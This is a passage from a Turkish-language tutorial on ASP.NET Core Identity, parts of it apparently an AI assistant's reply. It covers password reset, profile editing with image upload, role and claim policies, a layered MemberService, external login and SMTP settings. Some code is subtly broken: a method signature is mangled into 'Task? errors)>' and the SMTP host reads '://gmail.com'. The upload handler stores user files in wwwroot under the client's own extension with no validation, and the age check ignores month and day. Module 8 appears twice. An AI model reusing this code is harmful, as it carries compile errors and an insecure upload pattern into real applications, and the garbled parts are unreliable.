else
{
ModelState.AddModelError(string.Empty, "E-posta
veya şifre hatalı.");
}
return View(model);
}
🔑 MODÜL 4:
Şifre Sıfırlama Mekanizması (.NET 7)
Identity
sistemlerinde şifre sıfırlama işlemi benzersiz ve güvenli bir Token yardımıyla yapılır.
💻 Uygulama:
Adım Adım Şifre Sıfırlama Akışı
Şifre
Unuttum Post Metodu:
[HttpPost]
public async Task<IActionResult>
ForgetPassword(ForgetPasswordViewModel
model)
{
var
user = await _userManager.FindByEmailAsync(model.Email);
if (user == null) return View(); // Güvenlik nedeniyle kullanıcı yok dememek tercih edilebilir.
//
Benzersiz sıfırlama tokenı üretiliyor
string passwordResetToken
= await _userManager.GeneratePasswordResetTokenAsync(user);
//
Sıfırlama linki oluşturuluyor
var
passwordResetLink = Url.Action("ResetPassword", "Home", new
{ userId = user.Id, token = passwordResetToken }, HttpContext.Request.Scheme);
//
E-posta gönderme servisinizi burada çağırırsınız:
//
_emailService.SendResetPasswordEmail(user.Email, passwordResetLink);
return View();
}
👤 MODÜL 5:
Üye Sayfalarının Yönetimi ve Profil Düzenleme
Kullanıcı
sisteme giriş yaptıktan sonra sadece yetkili kullanıcıların görebileceği MemberController devreye girer. Bu controller
başına [Authorize] niteliği (attribute) eklenerek korunur.
💻 Uygulama:
Profil Bilgilerini Güncelleme ve Resim Yükleme
Giriş
yapmış kullanıcının profil resmi ve bilgilerini güncellediği sayfayı
tasarlarken, formu gönderirken görsel taşıyacağımız için HTML formunun enctype="multipart/form-data" özelliğine sahip olması
şarttır.
[Authorize]
[HttpPost]
public async Task<IActionResult>
UserEdit(UserEditViewModel
model)
{
if (!ModelState.IsValid)
return View(model);
var
user = await _userManager.FindByNameAsync(User.Identity!.Name!);
user.PhoneNumber
= model.PhoneNumber;
user.City
= model.City;
user.BirthDate
= model.BirthDate;
user.Gender
= model.Gender;
//
Fotoğraf yükleme işlemi
if (model.PictureFile
!= null && model.PictureFile.Length
> 0)
{
var
randomFileName = $"{Guid.NewGuid()}{Path.GetExtension(model.PictureFile.FileName)}";
var
path = Path.Combine(Directory.GetCurrentDirectory(), "wwwroot/img", randomFileName);
using (var stream = new FileStream(path, FileMode.Create))
{
await model.PictureFile.CopyToAsync(stream);
}
user.Picture
= randomFileName;
}
var
result = await _userManager.UpdateAsync(user);
if (result.Succeeded)
{
//
Bilgiler güncellendiği için Güvenlik Damgasını yenileyip oturumu tazelememiz
gerekir.
await _userManager.UpdateSecurityStampAsync(user);
await _signInManager.SignOutAsync();
await _signInManager.SignInAsync(user, isPersistent: true);
return RedirectToAction("Index");
}
return View(model);
}
🏷️ MODÜL 6:
Rol Tabanlı Yetkilendirme (Role Based Authorization)
Rol
tabanlı yetkilendirme, kullanıcıları belirli gruplara (Admin, Manager, Member) atayarak sayfa veya aksiyon bazlı kısıtlamalar
yapmayı sağlar.
💻 Uygulama:
Rol Atama ve Sayfa Kısıtlama
Bir
aksiyona sadece Admin rolündeki kişilerin girmesini istiyorsak:
[Authorize(Roles = "Admin")]
public IActionResult AdminPanel()
{
return View();
}
Kullanıcıya
Rol Atama Arka Plan Kodu:
public async Task<IActionResult>
AssignRole(string userId, List<AssignRoleViewModel> models)
{
var
user = await _userManager.FindByIdAsync(userId);
foreach (var role in models)
{
if (role.Exists)
{
// Kullanıcıya ilgili rol eklenir
await _userManager.AddToRoleAsync(user!, role.RoleName);
}
else
{
// Kullanıcıdan ilgili rol kaldırılır
await _userManager.RemoveFromRoleAsync(user!, role.RoleName);
}
}
return RedirectToAction("UserList");
}
🪪 MODÜL 7: Claim Tabanlı Yetkilendirme (Claim
Based Authorization)
Roller
bazen çok katı kalabilir. Claim, kullanıcıya
ait herhangi bir iddia veya bilgidir (Örn:
"Doğum Tarihi", "Yaşadığı Şehir", "E-posta
Adresi"). Claim tabanlı yetkilendirmede roller
yerine bu esnek belgeler kontrol edilir.
💻 Uygulama:
Yaş Sınırı Politikası (Policy) Oluşturma
Senaryo:
Kullanıcının doğum tarihine bakarak 18 yaşından küçüklerin girmesini engelleyen
bir politika (Policy) yazalım.
İlk
olarak bir Requirement (Gereksinim)
sınıfı yazıyoruz:
using Microsoft.AspNetCore.Authorization;
public class AgeRequirement : IAuthorizationRequirement
{
public int
MinimumAge { get;
}
public AgeRequirement(int minimumAge)
=> MinimumAge = minimumAge;
}
Şimdi
bu gereksinimi işleyecek olan Handler
(İşleyici) sınıfını kodlayalım:
public class AgeAuthorizationHandler : AuthorizationHandler<AgeRequirement>
{
protected override Task HandleRequirementAsync(AuthorizationHandlerContext context,
AgeRequirement requirement)
{
//
Kullanıcının claim listesinden doğum tarihini
arıyoruz
var
birthDateClaim = context.User.FindFirst(c
=> c.Type == ClaimTypes.DateOfBirth);
if (birthDateClaim
== null)
{
return Task.CompletedTask;
// Eşleşme yoksa yetki verilmez
}
var
birthDate = Convert.ToDateTime(birthDateClaim.Value);
int age = DateTime.Today.Year - birthDate.Year;
if (age >= requirement.MinimumAge)
{
context.Succeed(requirement);
// Şart sağlanırsa yetki onaylanır
}
return Task.CompletedTask;
}
}
Program.cs İçinde Politikanın Kaydedilmesi:
builder.Services.AddAuthorization(options =>
{
options.AddPolicy("AdultPolicy", policy =>
policy.Requirements.Add(new AgeRequirement(18)));
});
builder.Services.AddSingleton<IAuthorizationHandler,
AgeAuthorizationHandler>();
Controller
Üzerinde Kullanımı:
[Authorize(Policy = "AdultPolicy")]
public IActionResult MatureContent()
{
return View();
}
🏗️ MODÜL 8:
Katmanlı Mimari Entegrasyonu (N-Layer Architecture)
Büyük
projelerde tüm Identity yapılarını doğrudan UI (Arayüz) katmanında tutmak kod
karmaşasına sebep olur. Kodları sorumluluklarına göre katmanlara ayırmalıyız:
Katmanlar
arası iletişim, bağımlılıkların gevşek tutulması amacıyla Dependency
Injection (Bağımlılık Enjeksiyonu) yöntemiyle Program.cs üzerinden yönetilir.
🌐 MODÜL 9:
Üçüncü Taraf Kimlik Doğrulaması (Google & Facebook Authentication)
Kullanıcıların
sitenize üye olmak yerine mevcut sosyal medya hesaplarıyla giriş yapmasını
sağlar.
Genel
İşleyiş Adımları:
builder.Services.AddAuthentication()
.AddGoogle(options =>
{
options.ClientId
= builder.Configuration["Authentication:Google:ClientId"]!;
options.ClientSecret
= builder.Configuration["Authentication:Google:ClientSecret"]!;
});
Metninizde
yer alan ana müfredat başlıklarını, mimari katmanları ve modern teknikleri bir
önceki aşamada detaylıca inceledik. Belgenizin geri kalan kısmında ise geriye "ESKİ"
ve "[Eski Yöntem]" olarak etiketlenmiş geçmiş dönem ASP.NET Core sürümlerine ait geriye dönük (legacy)
pratikler ile N-Layer Architecture (Katmanlı
Mimari) başlığının altındaki servis entegrasyonu detayları kalmıştır.
Müfredatın
bu kalan kısımlarını, eski yöntemler ile yeni .NET 7+ yaklaşımları arasındaki
farkları da vurgulayarak satır satır detaylandıralım
ve pratik uygulamalarla tamamlayalım.
🏗️ MODÜL 8:
Katmanlı Mimari Detayları (N-Layer Architecture
- Devamı)
Katmanlı
mimaride kullanıcı işlemlerini UI katmanından soyutlamak adına, UserManager ve SignInManager gibi hazır Identity
servislerini sarmalayan (wrap eden) bir MemberService yapısı kurulur.
💻 Uygulama:
Service Katmanında Şifre Doğrulama ve Güncelleme
Kullanıcının
mevcut şifresini kontrol edip yeni şifre atamasını gerçekleştiren servis
metodunun ve UI katmanındaki karşılığının mimari tasarımı şu şekildedir:
1.
Service Katmanı Yapısı (Business/Service Layer):
Bu katmanda Identity servislerinin sonuçlarını (IdentityResult) ele alarak, arayüze temiz
veri veya özelleştirilmiş hata mesajları taşırız.
namespace MyProject.Service
{
public class MemberService : IMemberService
{
private readonly UserManager<AppUser>
_userManager;
public MemberService(UserManager<AppUser> userManager)
{
_userManager
= userManager;
}
public async Task? errors)>
ChangePasswordAsync(string userName, string oldPassword, string newPassword)
{
// 1. İlgili kullanıcı kullanıcı
adından bulunur
var
user = await _userManager.FindByNameAsync(userName);
if (user == null)
{
return (IdentityResult.Failed(),
new List<string> { "Kullanıcı bulunamadı." });
}
// 2. CheckPasswordAsync ile mevcut
şifrenin doğruluğu kontrol edilir
bool isPasswordCorrect
= await _userManager.CheckPasswordAsync(user, oldPassword);
if (!isPasswordCorrect)
{
return (IdentityResult.Failed(),
new List<string> { "Mevcut şifreniz hatalıdır." });
}
// 3. Şifre değiştirme işlemi gerçekleştirilir
var
result = await _userManager.ChangePasswordAsync(user, oldPassword, newPassword);
if (!result.Succeeded)
{
// Hataları listeye dökerek UI katmanına fırlatıyoruz
var
errorList = result.Errors.Select(x
=> x.Description).ToList();
return (result, errorList);
}
// 4. Başarılı ise Güvenlik Damgası (SecurityStamp)
güncellenir
await _userManager.UpdateSecurityStampAsync(user);
return (IdentityResult.Success,
null);
}
}
}
2.
UI Katmanından Servisin Çağrılması (Presentation Layer):
Controller, doğrudan veritabanı veya Identity
kütüphanesiyle konuşmak yerine yukarıda yazdığımız servisi enjekte eder.
[Authorize]
[HttpPost]
public async Task<IActionResult>
PasswordChange(PasswordChangeViewModel
model)
{
if (!ModelState.IsValid)
return View(model);
//
Giriş yapmış kullanıcının adını servise gönderiyoruz
var
(result, errors) = await _memberService.ChangePasswordAsync(User.Identity!.Name!, model.OldPassword,
model.NewPassword);
if (!result.Succeeded)
{
foreach (var error in
errors!)
{
ModelState.AddModelError(string.Empty, error);
}
return View(model);
}
TempData["SuccessMessage"] = "Şifreniz
başarıyla değiştirilmiştir. Lütfen yeniden giriş yapınız.";
return RedirectToAction("SignIn", "Home");
}
🕰️ MODÜL 10:
Geçmiş Dönem Yöntemleri ve Revizyonlar (ESKİ / Legacy)
Belgenizin
son bölümlerinde yer alan "ESKİ" ibareli içerikler, ASP.NET Core'un eski sürümlerindeki senaryoları ve hata yönetimi
pratiklerini barındırır. Modern projelerde bu yapıların nasıl dönüştüğünü
bilmek, eski (legacy) kodları taşırken (migration) kritik önem taşır.
1. Eski Sürüm Üye Ol (SignUp)
Akışı ve AppUser Eşleştirmeleri
Eski
sürümlerde veri transfer nesneleri (DTO/ViewModel)
ile veritabanı nesnelerini (AppUser) eşleştirirken (mapping) tüm
alanlar tek tek el yardımıyla controller içerisinde
eşitlenirdi.
2. Eski Sürüm Merkezi Hata Sayfası Yönetimi (Error.cshtml)
Giriş
veya kayıt esnasında oluşan validasyon hatalarını veya sistem arızalarını toplu
olarak göstermek için eski yapılarda özel döngüler kurulurdu.
@model
List<string>
<div class="alert alert-danger">
<h4>İşlem Sırasında Bir Hata Oluştu:</h4>
<ul>
@* Model içerisindeki tüm hatalar foreach ile tek tek arayüze basılır *@
@foreach (var error
in Model)
{
<li>@error</li>
}
</ul>
</div>
3. Microsoft Hesabı İle Kimlik
Doğrulama (Eski Yöntem vs Yeni Yöntem)
Microsoft
(Live/Outlook) hesaplarıyla harici giriş sağlamak, kimlik doğrulama
protokollerinin evrimiyle birlikte değişime uğramıştır.
İstediğiniz
tüm profesyonel altyapı bileşenlerini, projenizin ilgili katmanlarına
yerleştirebileceğiniz şekilde, .NET 7 ve üzeri modern standartlara uygun olarak
hazırladım.
1. SMTP Tabanlı Gerçek E-posta Gönderim Servisi (IEmailSender)
E-posta
şifrelerinin kodun içine açıkça yazılması (hardcoded)
güvenlik açığı yaratır. Bu yüzden SMTP ayarlarını appsettings.json dosyasından okuyacak şekilde
dinamik bir yapı kuruyoruz.
appsettings.json Ayarları
{
"EmailSettings": {
"Host": "://gmail.com",
"Port": 587,
"Email": "projeniz@gmail.com",
"Password": "abcdefghijklmnop",
"EnableSsl": true
}
}
(Not:
Gmail kullanıyorsanız, buradaki şifre e-posta şifreniz değil, Google
hesabınızdan alacağınız 16 haneli "Uygulama Şifresi" (App Password) olmalıdır.)
Core Katmanı: